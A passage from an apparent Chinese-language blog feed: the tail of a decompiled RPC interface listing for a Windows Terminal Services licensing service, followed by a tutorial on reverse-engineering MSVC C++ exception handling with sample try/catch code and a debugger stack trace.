arg_13)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc107_TLSRequestNewLicense</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_3,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_4,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_5,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_6,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_6)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_7,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_8,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_9,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_10,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_11,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_12,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_13,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_14)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc108_TLSRpcGetCHIDsForSupportedCALs</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out][ref] <span class="comment">/* [DBG] FC_BOGUS_ARRAY */</span> <span class="comment">/*[range(0,16384)]*/</span>  <span class="comment">/*  */</span>[<span class="built_in">string</span>] <span class="type">wchar_t</span>*** arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc109_TLSRpcGetCHIDsForSupportedCALsDelimited</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out][ref][<span class="built_in">string</span>] <span class="type">wchar_t</span>** arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc110_TLSRpcGetSupportedFeatures</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc111_TLSRpcFetchReportNextEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out] <span class="comment">/* [DBG] FC_BOGUS_ARRAY */</span> <span class="comment">/*[range(0,16384)]*/</span>  <span class="comment">/*  */</span> <span class="type">char</span> * arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc112_TLSRpcFetchReportCALInfoNextEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out] <span class="comment">/* [DBG] FC_BOGUS_ARRAY */</span> <span class="comment">/*[range(0,16384)]*/</span>  <span class="comment">/*  */</span> <span class="type">char</span> * arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc113_TLSRpcConvertLicenses</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc114_TLSRpcFetchReportEntriesDetail</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="comment">/*[range(0,16384)]*/</span> <span class="type">char</span> * arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc115_TLSRpcFetchReportFailedPUSummaryEntries</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out] <span class="comment">/* [DBG] FC_BOGUS_ARRAY */</span> <span class="comment">/*[range(0,16384)]*/</span>  <span class="comment">/*  */</span> <span class="type">char</span> * arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc116_TLSRpcFetchReportNext_PD</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="comment">/*[range(0,16384)] */</span><span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out] <span class="comment">/* [DBG] FC_BOGUS_ARRAY */</span> <span class="comment">/*[range(0,16384)]*/</span>  <span class="comment">/*  */</span> <span class="type">char</span> * arg_2,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_3)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc117_TLSRpcIssuePerUserLicenseEx</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_1,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_2,</span></span><br><span class="line"><span class="params">        [in][range(<span class="number">0</span>, <span class="number">16384</span>)] <span class="type">long</span> arg_3,</span></span><br><span class="line"><span class="params">        [in][ref][size_is(arg_3)]<span class="comment">/*[range(0,16384)]*/</span> byte* arg_4,</span></span><br><span class="line"><span class="params">        [in]<span class="type">long</span> arg_5,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_6,</span></span><br><span class="line"><span class="params">        [out][ref]<span class="comment">/*[range(0,0)]*/</span> byte** arg_7,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_8,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_9,</span></span><br><span class="line"><span class="params">        [in][<span class="built_in">string</span>] <span class="type">wchar_t</span>* arg_10,</span></span><br><span class="line"><span class="params">        [in][out]<span class="type">long</span>* arg_11)</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">error_status_t</span> <span class="title function_">Proc118_TLSRpcConfigHighAvailability</span><span class="params">(</span></span><br><span class="line"><span class="params">        [in][context_handle] <span class="type">void</span>* arg_0,</span></span><br><span class="line"><span class="params">        [in]<span class="type">char</span>* arg_1,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_2,</span></span><br><span class="line"><span class="params">        [out][ref][<span class="built_in">string</span>]<span class="comment">/*[range(0,0)]*/</span>  <span class="type">wchar_t</span>** arg_3,</span></span><br><span class="line"><span class="params">        [out]<span class="type">long</span>* arg_4)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;鉴于该服务近期出了好几个bug, 学习一下该服务的几个例子.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>C++ 异常处理的逆向</title>
    <link href="http://474172261.github.io/2024/04/02/CPlusPlus_Exception/"/>
    <id>http://474172261.github.io/2024/04/02/CPlusPlus_Exception/</id>
    <published>2024-04-02T08:56:52.718Z</published>
    <updated>2025-01-10T11:25:57.841Z</updated>
    
    <content type="html"><![CDATA[<p>偶尔分析C++的模块, 遇到触发异常操作, 但是不知道它SEH到底干啥了, 所以研究了下MSVC下的c++异常处理到底是怎么回事, 没理解透彻, 但是逆向应该是够用了, 如果有不对之处, 还望指正.</p><span id="more"></span><blockquote><p>IDA 9 已经支持显示c++的异常处理函数了. 也支持析构函数的显示. 在函数右键”show C++ wind states” 即可.  默认只对当前函数生效, 要对所有生效, 需要保存 global setting里.</p></blockquote><h1 id="C-try-catch"><a href="#C-try-catch" class="headerlink" title="C++ try catch"></a>C++ try catch</h1><p>这是一段示例的测试代码:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;exception&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;cstring&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> <span class="keyword">warning</span>(<span class="string">&quot;disable&quot;</span>:4996)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">ExceptionA</span> : <span class="keyword">public</span> exception</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">ExceptionA</span>(<span class="type">int</span> a, <span class="type">int</span> b) :<span class="built_in">a</span>(a), <span class="built_in">b</span>(b) &#123;&#125;</span><br><span class="line">    <span class="type">int</span> a, b;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">ExceptionB</span> : <span class="keyword">public</span> exception</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">ExceptionB</span>(<span class="type">int</span> a, <span class="type">int</span> b) &#123;&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">ExceptionC</span> : <span class="keyword">public</span> exception</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">ExceptionC</span>(<span class="type">int</span> a, <span class="type">int</span> b) &#123;&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Strobj</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">Strobj</span>() = <span class="keyword">delete</span>;</span><br><span class="line">    <span class="built_in">Strobj</span>(<span class="type">char</span>* a) &#123;</span><br><span class="line">        <span class="type">int</span> len = <span class="built_in">strlen</span>(a);</span><br><span class="line">        str_ = <span class="keyword">new</span> <span class="type">char</span>[len + <span class="number">1</span>];</span><br><span class="line">        <span class="built_in">strcpy_s</span>(str_, len+<span class="number">1</span>, a);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">char</span>* str_ = <span class="literal">NULL</span>;</span><br><span class="line">    ~<span class="built_in">Strobj</span>() &#123;</span><br><span class="line">        <span class="keyword">if</span> (str_) &#123;</span><br><span class="line">            <span class="keyword">delete</span> str_;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function">Strobj <span class="title">doThrow</span><span class="params">(<span class="type">bool</span> doth)</span> </span>&#123;</span><br><span class="line">    <span class="type">int</span> a = <span class="number">1</span>, b = <span class="number">2</span>;</span><br><span class="line">    <span class="type">char</span> str[] = <span class="string">&quot;123456&quot;</span>;</span><br><span class="line">    <span class="function">Strobj <span class="title">oops</span><span class="params">(str)</span></span>;</span><br><span class="line">    <span class="keyword">if</span> (doth)</span><br><span class="line">        <span class="keyword">throw</span> <span class="built_in">ExceptionA</span>(a, b);</span><br><span class="line">    <span class="keyword">return</span> oops;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">        Strobj a = <span class="built_in">doThrow</span>(<span class="literal">true</span>);</span><br><span class="line">        std::cout &lt;&lt; a.str_ &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (ExceptionC&amp; e)</span><br><span class="line">    &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;ExceptionC caught&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (ExceptionB&amp; e)</span><br><span class="line">    &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;ExceptionB caught&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (ExceptionA&amp; e)</span><br><span class="line">    &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;ExceptionA caught&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (std::exception&amp; e)</span><br><span class="line">    &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码很简单, 就是申请一个对象后触发异常.<br>正常情况下, 在触发异常后, 它会调用析构函数释放<code>str_</code>, 然后调用异常模块输出 “ExceptionA caught”.</p><p>这里简要介绍一下SEH, SEH就是异常捕获流程, 当程序发生异常的时候, 会跳转到最近(指最近的try catch)异常捕获函数, 它可以获取触发异常时的寄存器数据, 通过寄存器就知道触发异常时的原因, 如果能处理, 就修改异常时的rip值来跳转到后续的正常指令流, 如果不能处理就交给下一个SEH handler.</p><p>所以如果要知道触发异常后它怎么操作, 就看它注册的seh handler就行. 不过呢, msvc的C++ 对SEH做了封装, 异常由 <code>_CxxThrowException</code> 抛出. 处理会由<code>__GSHandlerCheck_EH4</code>进行简单操作后调用<code>__CxxFrameHandler4</code>进行处理</p><h2 id="调试"><a href="#调试" class="headerlink" title="调试"></a>调试</h2><p>我们在调试器里对析构函数下断点, 触发断点后, 查看栈回溯, 得到如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">test.exe!`doThrow&#x27;::`1&#x27;::dtor$0()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de1030()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de4307()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de66ab()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de2cd2()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de2f5a()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de6dfb()</span><br><span class="line">test.exe!__GSHandlerCheck_EH4(_EXCEPTION_RECORD * ExceptionRecord=0x000000473ff0de60, void * EstablisherFrame=0x000000473ff0f9d0, _CONTEXT * ContextRecord=0x000000473ff0d760, _DISPATCHER_CONTEXT * DispatcherContext=0x000000473ff0dcd0) 行 73</span><br><span class="line">在 D:\a\_work\1\s\src\vctools\crt\vcstartup\src\gs\amd64\gshandlereh4.cpp(73)</span><br><span class="line">ntdll.dll!00007ff9c5bb242f()</span><br><span class="line">ntdll.dll!00007ff9c5b40939()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de6a7f()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de1c1e()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de218b()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de2ec5()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de2f5a()</span><br><span class="line">vcruntime140_1d.dll!00007ff990de6dfb()</span><br><span class="line">test.exe!__GSHandlerCheck_EH4(_EXCEPTION_RECORD * ExceptionRecord=0x000000473ff0eff0, void * EstablisherFrame=0x000000473ff0fbc0, _CONTEXT * ContextRecord=0x000000473ff0eb00, _DISPATCHER_CONTEXT * DispatcherContext=0x000000473ff0e980) 行 73</span><br><span class="line">在 D:\a\_work\1\s\src\vctools\crt\vcstartup\src\gs\amd64\gshandlereh4.cpp(73)</span><br><span class="line">ntdll.dll!00007ff9c5bb23af()</span><br><span class="line">ntdll.dll!00007ff9c5b614b4()</span><br><span class="line">ntdll.dll!00007ff9c5bb0ebe()</span><br><span class="line">KernelBase.dll!00007ff9c341cf19()</span><br><span class="line">vcruntime140d.dll!00007ff96105bbf1()</span><br><span class="line">test.exe!doThrow(bool doth=true) 行 45</span><br><span class="line">在 D:\Projects\test\test\main.cpp(45)</span><br><span class="line">test.exe!main() 行 52</span><br><span class="line">在 D:\Projects\test\test\main.cpp(52)</span><br></pre></td></tr></table></figure><p>可以看到, 它先调用的<code>__GSHandlerCheck_EH4</code>两次, 再调用了&#96;&#96;&#96;&#96;doThrow’::&#96;1’::dtor$0&#96;&#96;&#96;操作.</p><p>而且析构函数是先于catch模块调用的. C++没有<code>finally</code>关键词, 也是因为有析构函数, 就不需要finally了</p><h2 id="修改"><a href="#修改" class="headerlink" title="修改"></a>修改</h2><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;exception&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;cstring&gt;</span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> std;</span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> <span class="keyword">warning</span>(<span class="string">&quot;disable&quot;</span>:4996)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">ExceptionA</span> : <span class="keyword">public</span> exception</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">ExceptionA</span>(<span class="type">int</span> a, <span class="type">int</span> b) :<span class="built_in">a</span>(a), <span class="built_in">b</span>(b) &#123;&#125;</span><br><span class="line">    <span class="type">int</span> a, b;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">ExceptionB</span> : <span class="keyword">public</span> exception</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">ExceptionB</span>(<span class="type">int</span> a, <span class="type">int</span> b) &#123;&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">ExceptionC</span> : <span class="keyword">public</span> exception</span><br><span class="line">&#123;</span><br><span class="line">    <span class="built_in">ExceptionC</span>(<span class="type">int</span> a, <span class="type">int</span> b) &#123;&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Strobj</span> &#123;</span><br><span class="line">    <span class="type">static</span> <span class="type">int</span> index;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    <span class="built_in">Strobj</span>() &#123;</span><br><span class="line">        index += <span class="number">1</span>;</span><br><span class="line">        <span class="type">char</span> a[] = <span class="string">&quot;abcdefghijklmnopq&quot;</span>;</span><br><span class="line">        <span class="type">char</span>* s = &amp;a[index];</span><br><span class="line">        <span class="type">int</span> len = <span class="built_in">strlen</span>(s);</span><br><span class="line">        str_ = <span class="keyword">new</span> <span class="type">char</span>[len + <span class="number">1</span>];</span><br><span class="line">        <span class="built_in">strcpy_s</span>(str_, len + <span class="number">1</span>, s);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">Strobj</span>(<span class="type">char</span>* a) &#123;</span><br><span class="line">        <span class="type">int</span> len = <span class="built_in">strlen</span>(a);</span><br><span class="line">        str_ = <span class="keyword">new</span> <span class="type">char</span>[len + <span class="number">1</span>];</span><br><span class="line">        <span class="built_in">strcpy_s</span>(str_, len+<span class="number">1</span>, a);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">char</span>* str_ = <span class="literal">NULL</span>;</span><br><span class="line">    ~<span class="built_in">Strobj</span>() &#123;</span><br><span class="line">        <span class="keyword">if</span> (str_) &#123;</span><br><span class="line">            <span class="keyword">delete</span> str_;</span><br><span class="line">            str_ = <span class="literal">NULL</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> Strobj::index = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="function">Strobj <span class="title">doThrow</span><span class="params">(<span class="type">bool</span> doth)</span> </span>&#123;</span><br><span class="line">    <span class="type">int</span> a = <span class="number">1</span>, b = <span class="number">2</span>;</span><br><span class="line">    <span class="type">char</span> str[] = <span class="string">&quot;123456&quot;</span>;</span><br><span class="line">    <span class="function">Strobj <span class="title">oops</span><span class="params">(str)</span></span>;</span><br><span class="line">    <span class="function">Strobj <span class="title">oops2</span><span class="params">(&amp;str[<span class="number">1</span>])</span></span>;</span><br><span class="line">    <span class="function">Strobj <span class="title">oops3</span><span class="params">(&amp;str[<span class="number">2</span>])</span></span>;</span><br><span class="line">    Strobj* myObjectPtr = <span class="keyword">new</span> Strobj;</span><br><span class="line">    <span class="keyword">auto</span> myObjectPtr2 = std::<span class="built_in">make_unique</span>&lt;Strobj&gt;();</span><br><span class="line">    <span class="keyword">auto</span> myObjectPtr3 = std::<span class="built_in">make_shared</span>&lt;Strobj&gt;();</span><br><span class="line">    <span class="keyword">if</span> (doth)</span><br><span class="line">        <span class="keyword">throw</span> <span class="built_in">ExceptionA</span>(a, b);</span><br><span class="line">    std::cout &lt;&lt; oops2.str_ &lt;&lt; std::endl;</span><br><span class="line">    std::cout &lt;&lt; oops3.str_ &lt;&lt; std::endl;</span><br><span class="line">    std::cout &lt;&lt; myObjectPtr-&gt;str_ &lt;&lt; std::endl;</span><br><span class="line">    std::cout &lt;&lt; myObjectPtr2-&gt;str_ &lt;&lt; std::endl;</span><br><span class="line">    std::cout &lt;&lt; myObjectPtr3-&gt;str_ &lt;&lt; std::endl;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">delete</span> myObjectPtr;</span><br><span class="line">    <span class="keyword">return</span> oops;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">        Strobj a = <span class="built_in">doThrow</span>(<span class="literal">true</span>);</span><br><span class="line">        std::cout &lt;&lt; a.str_ &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (ExceptionC&amp; e)</span><br><span class="line">    &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;ExceptionC caught&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (ExceptionB&amp; e)</span><br><span class="line">    &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;ExceptionB caught&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (ExceptionA&amp; e)</span><br><span class="line">    &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;ExceptionA caught&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (std::exception&amp; e)</span><br><span class="line">    &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;ExceptionA1 caught&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">catch</span> (...) &#123;</span><br><span class="line">        std::cout &lt;&lt; <span class="string">&quot;ExceptionA2 caught&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这次新增了两个<code>Strobj</code>对象, 新增了, <code>release</code>编译后, 使用ida看看有什么不一样.</p><p>选择<code>doThrow</code>函数, 按’X’查看引用:</p><p><img 